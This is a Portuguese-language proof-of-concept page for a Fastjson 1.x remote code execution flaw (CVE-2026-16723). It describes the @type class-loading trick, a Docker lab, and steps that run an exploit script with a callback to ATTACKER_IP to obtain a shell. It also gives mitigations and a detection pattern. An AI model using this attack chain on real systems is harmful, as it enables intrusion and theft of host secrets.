CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★

Visão Geral

CVE-2026-16723 é uma vulnerabilidade de Execução Remota de Código (RCE) no Fastjson 1.x (1.2.68 – 1.2.83). Quando o Fastjson analisa JSON controlado pelo atacante, um valor @type malicioso é transformado em uma consulta de recurso de classe dentro de checkAutoType. Em um fat-JAR executável do Spring Boot, o carregador de classes resolve esse nome como uma URL jar:http:// e busca um JAR remoto (SSRF), depois carrega uma classe que contém a anotação @JSONType mesmo com o AutoType desabilitado. Como um JDK / Tomcat moderno rejeita o nome binário jar:http://, a variante confiável insere o JAR no cache da JVM e o lê novamente através de jar:file:/proc/self/fd/N, de modo que a classe é definida e seu inicializador estático é executado, resultando em execução de código. O AutoType permanece desabilitado e nenhum gadget de classpath é necessário.

Versões Afetadas

Categoria	Versão
Vulnerável	Fastjson 1.2.68 ≤ versão ≤ 1.2.83
Corrigido	Migre para Fastjson 2.x (sem correção na versão 1.x)

Impacto

Execução Remota de Código como a conta de serviço
Divulgação de segredos / credenciais do host e do ambiente
Comprometimento total do aplicativo afetado

Ambiente

O alvo do laboratório é uma loja pública (Northwind Store) cuja API de busca vincula o corpo da requisição com Fastjson. Tudo está no padrão original do Fastjson: SafeMode desativado, AutoType desativado, empacotado como um fat-JAR do Spring Boot.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

Pré-requisito	Estado neste laboratório
Fastjson 1.2.68 – 1.2.83	1.2.83
fat-JAR executável do Spring Boot	sim
Caminho de análise JSON sem autenticação	`POST /api/products/search`
SafeMode / AutoType	padrão (ambos desativados)

PoC

O atacante e o alvo estão na mesma rede bridge do Docker, portanto o alvo alcança o atacante por meio de uma conexão de saída (nenhuma porta extra é publicada).

Etapa 1. Confirme que o alvo está ativo

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

Etapa 2. Execute o exploit na máquina do atacante

exploit.py constrói o JAR do payload, o serve, inicia um listener e imprime o corpo da requisição. Apenas o endereço de callback é necessário.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

Etapa 3. Entregue o payload

Cole o corpo impresso no endpoint de busca (Burp Repeater ou curl) e envie-o. A requisição de busca é um recurso normal; apenas o corpo JSON é forjado.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

Etapa 4. Confirme o resultado

O código é executado como a conta de serviço. Obtenha a flag por meio do shell obtido:

whoami

Mitigação

Migre para Fastjson 2.x
Ou execute com.alibaba:fastjson:1.2.83_noneautotype
Ou inicie a JVM com -Dfastjson.parser.safeMode=true
Detecção: valores @type no JSON contendo padrões jar:http ou jar:file / /proc/self/fd

CVE-2026-16723

Mais Populares